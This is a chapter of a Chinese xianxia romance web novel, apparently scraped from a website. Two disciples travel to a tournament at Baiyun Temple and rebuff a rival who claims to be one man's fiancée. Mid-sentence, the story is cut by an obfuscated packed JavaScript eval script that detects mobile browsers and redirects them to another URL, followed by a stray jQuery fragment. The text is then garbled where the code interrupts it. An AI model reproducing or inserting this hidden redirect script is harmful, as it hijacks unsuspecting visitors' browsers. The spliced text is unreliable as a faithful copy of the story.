“是吗?”程千月挑挑眉,松开楚为溪的袖子,示意他回屋等着,又对孟呈钟道:“怎么,又惹师姐伤心了,不是我说啊,你这得主动点,面子脸面什么东西的,只有楚师兄才会在意,抛开就好了,要坚持不解做好一只舔狗。”
“舔狗?什么意思?”
“……就是非常爱她的意思。”
孟呈钟点头:“我没惹她生气,伯母的身子不好,前几年生了一场大病,差点去了,阿央也是想好好陪陪伯母。”
程千月:“所以你不愿意?”
孟呈钟:“当然愿意,阿央说的时候我立刻就答应了,来找小师妹就是给你们说一声,还有我们何时出发。”
程千月“哦”了一声,思索了片刻:“比武的地点在白云观,不南不北的位置,从江南出发,少说也要走半月左右,这几日走最合适不过了。”
她看向孟呈钟,上前拍了拍他的肩膀:“你们这的花灯节是不是每年一次,有固定时间吗?”
“一年一次,没有固定时间,一般都是算命先生算的。”
那好吧,反正也赶不上了,程千月想了想,道:“比武要提早去,反正就这几日了,你和师姐与孟夫人商量即可,我和师兄无所畏,别晚就行。”
“那明日一早去?”
“……我们才来几日啊,你不和孟夫人好好说说话啊,还是这么快就想离开师姐?”
明日一早?她师兄的伤还没好!
“……那再过几日。”
*
与孟呈钟一拍即合,程千月迈着轻松的步伐进入屋子,来兑现自己的承诺。
楚为溪瞧着她一副鬼附身的样子,缩了缩脖子,道:“我们何时走?”
“过几日,不然师兄这样子,如何去?”程千月解下乾坤袋,松开绳子,将袋子反倒过来,两只神兽与神算子一块被倒了出来。
她道:“之前说要给你一个惊喜,这个就是惊喜。”
她指了指神算子,而后者站起身,直直的走向楚为溪,跪地喊:“师姐夫。”
楚为溪:……
“在下神算子,与师姐夫有过一面之缘,师姐说让我保护她的爱人,以后在下保护你。”
楚为溪脸色极其难看,看了看面前的神算子,先是把人扶起来,却没有接他手上的玉令,对他道:“不必了。”
神算子:?
这句话是对神算子说的,更像是对程千月说的。
程千月闻言,当即敛了笑,越过神算子,来到楚为溪身边,道:“为何不接?”
楚为溪道:“我是灵力被封,不是废了残了,更何况还有阿月呢。”
“可我也有疏忽的地方,我不能时时刻刻在师兄身边。”程千月接过神算子手中的玉令,硬塞进了楚为溪手里:“这个,你要也得要,不要也得要。”
她脑袋一转,忽地想到了法子,转身不再和楚为溪硬碰硬,顺势挑起神算子的下巴,道:“既然师兄不接受,那就留在我身边吧,长得嘛,挺好看的。”
楚为溪洁白无瑕的脸上终于出现了一丝愤怒,皱着眉瞪着程千月,像是从嘴里硬挤出来的:“我!要!”
生气的小猫浑身炸毛,磨着牙,看向大尾巴狐的脖颈,想着从哪咬下去更解气。
转来转去,还是盯上了嘴唇,于是他就这么做了。
当然,是在神算子回到玉令里才敢。
今夜程千月又给楚为溪上了一回药,把人按在被褥里亲了好一会才放过,摸着嘴边破了皮的伤口,舔了舔牙,对着他的脖颈一口咬了下去。
大仇得报,大尾巴狐搂着她的小猫安心睡觉。
一日转眼而过,很快到了离别那日。
孟呈钟拉着池央的手说了半个时辰,还没说够,又叮嘱孟夫人照顾好池央,才依依不舍地挥手离开。
“至于吗,又不是见不着了。”
程千月看他一脸沮丧的模样,突然想起在九死崖门口,初见孟呈钟时的情景,所谓看人不可貌相,程千月真的相信了,两相对比之下,她笑出声来。
孟呈钟摆出一副不和她计较的样子,甩甩手道:“一日不见如隔三秋,若换做是小师妹和楚兄,还不知道想变成什么样呢。”
“对了。”孟呈钟指指自己的唇角,道:“小师妹,你是吃饭的时候咬到了吗,两日了还没好啊。”
程千月摸了摸伤口,勾唇一笑,却无意扯到了伤口,她“嘶”了一声,道:“小猫咬的。”
孟呈钟没听清:“什么?”
程千月看向笑着的楚为溪,莞尔一笑:“小猫咬的,你说对不对,师兄。”
楚为溪干笑着不语。
一路上没什么惦记,三人走的飞快,本计算着半个月才到的路程,活生生缩短了一半,春和散发作的频率都没他们三人走得快。
三人到达白云观时,四大门派只聚齐了两派,名声不出名的小门小派来了不少的人,放眼望去,没有一个认识的。
承剑宗来的最早。
白云观自建立以来,就是专门供各大门派比武的地方,内部分为观上、观中与观下。
观上房屋只有寥寥几间,是门派之首,掌门与长者的居所。
观中本是一片荒芜的平地,建造房屋困难,便成了比武的擂台。观下房屋众多,山清水秀,溪河流过,大多是弟子们的居所。
来此的门派不多,这几间弟子屋足以够用,还有很多弟子去山脚下的客栈休息。
麻烦虽麻烦,但山脚下有售卖书籍的地方,大多是来自五湖四海,几年才开一次,弟子们能在其中学到很多,想想也值了。
程千月初次来,对一切都很好奇,左顾右看没瞧见一个白云观的弟子,便问:“师兄,白云观是没有弟子的吗?”
楚为溪点头称是:“白云观是早期四大门派合力修建的,没有弟子一说,只要来此比武的弟子,皆是白云观的弟子。”
程千月疑惑道:“比武擂台谁主持?谁安排弟子的居所?”
她的问题像是厉害的机关炮,一个接一个地抛出去,换做是别的师兄弟,一定会觉得她没见过世面,烦的不行,说不定还会合情合理把她扔出去,让她自己逛。
想想拳头都有点痒痒了。
大公无私的楚为溪耐心地回答着她:“白云观没有固定的主持人,四大门派轮流主持,今年到了峨眉派主持,所以他们门派会提前派人过来打扫。”
“弟子的居所也是他们分的?”程千月问。
“对。”
程千月闪着星星眼:“怀轩师叔还没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027106|186482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,师兄带我参观参观可好?”
楚为溪面露难色:“我对这里也不熟悉。”
“师兄不经常来吗?”
“当年来过一次,就没来过了。”
“……好吧。”程千月想,她知道是那一次了。
孟呈钟毕竟是承剑宗的人,还有诸多事务等着他安排,先行进去了,留程千月两人无奈在此等候。
“楚师兄,程师妹,是你们吗?”
话音一落,两人同时向后转,被一群男弟子簇拥的李元梦一点也不理会他们,直直地看向两人,准确来说,是直直地盯着楚为溪。
她像是有目的般甩了那群男弟子,朝着他们走来。
程千月面露冷色,向前几步挡在楚为溪前面,楚为溪配合地退后几步,两人同时完成动作,这疏远的动作引得李元梦一愣。
她委屈道:“我又不是洪水猛兽,楚哥哥离我这么远,是讨厌我吗?”
楚为溪冷冷地提醒她:“希望李师妹纠正称呼,未免引起不必要的麻烦。”
李元梦倔强道:“我是你的未婚妻,叫你一声哥哥怎么了?”
听闻“未婚妻”三个字,程千月的表情更是要吃人。
楚为溪纠正道:“李师妹休要乱讲,我已禀报真人解除婚约,比武后会与峨眉掌门商量,愿李师妹再遇良人,不必在我这棵树上吊死。”
李元梦吃了一惊,焦急道:“哪有良人?我就你一个了楚哥哥。”
话落,程千月轻笑一声,指着前方等着李元梦的那群弟子,道:“李师姐,我看他们围着你转,都挺喜欢你的,他们都是峨眉弟子,品行什么的师姐也清楚,哪一个不是良人啊?”
李元梦向后看了一眼,那群弟子舔狗般,见她回头了,立刻满脸堆笑地冲她笑,她气愤地回头,放了狠话:“既然是良人,师妹怎么不随便挑一个嫁了呢?”
真是脑子里想楚为溪想疯了,什么话都说的出来。
程千月丝毫不畏惧,并搬出自己掌门之女的身份压她:“李师姐错了,我乃山天阳掌门之女,婚嫁大事,岂是你一个小小弟子能指使的?”
她说完,楚为溪接着补刀:“这种话,李师妹还是少说为妙,别因此伤了两门派的气。”
两人一唱一和,说的李元梦犹如吃了枪子,连反驳的话都说不出来,气得脸颊通红,一甩衣袖转头就走。
程千月得逞地笑笑,转头调侃楚为溪:“师兄,你的桃花可真多啊,还有对你不死心的呢。”
楚为溪走近她,道:“可惜名花有主,再怎么不死心也无济于事。”
“对啊,这可是我的。”程千月撩起他身侧的发丝,卷在手指上,望着远处刚来的怀轩,笑道:“解除婚约是吓她的,还是真的,把我也唬住了。”
楚为溪拿剑抵开了她的手,轻声道:“真的。”
那真是太好了。
此时程千月的心里美滋滋。
怀轩早就发现了两人,一见面又是说个不停,直到四大门派最与世无争的无相宫到来,此话题才告一段落,带着弟子进了山,寻住处。
怀轩有许多事要和楚为溪说,他便走在了前头,程千月没什么事,如往常一般慢悠悠的缀在后头。
“千月师妹,游历的怎么样?”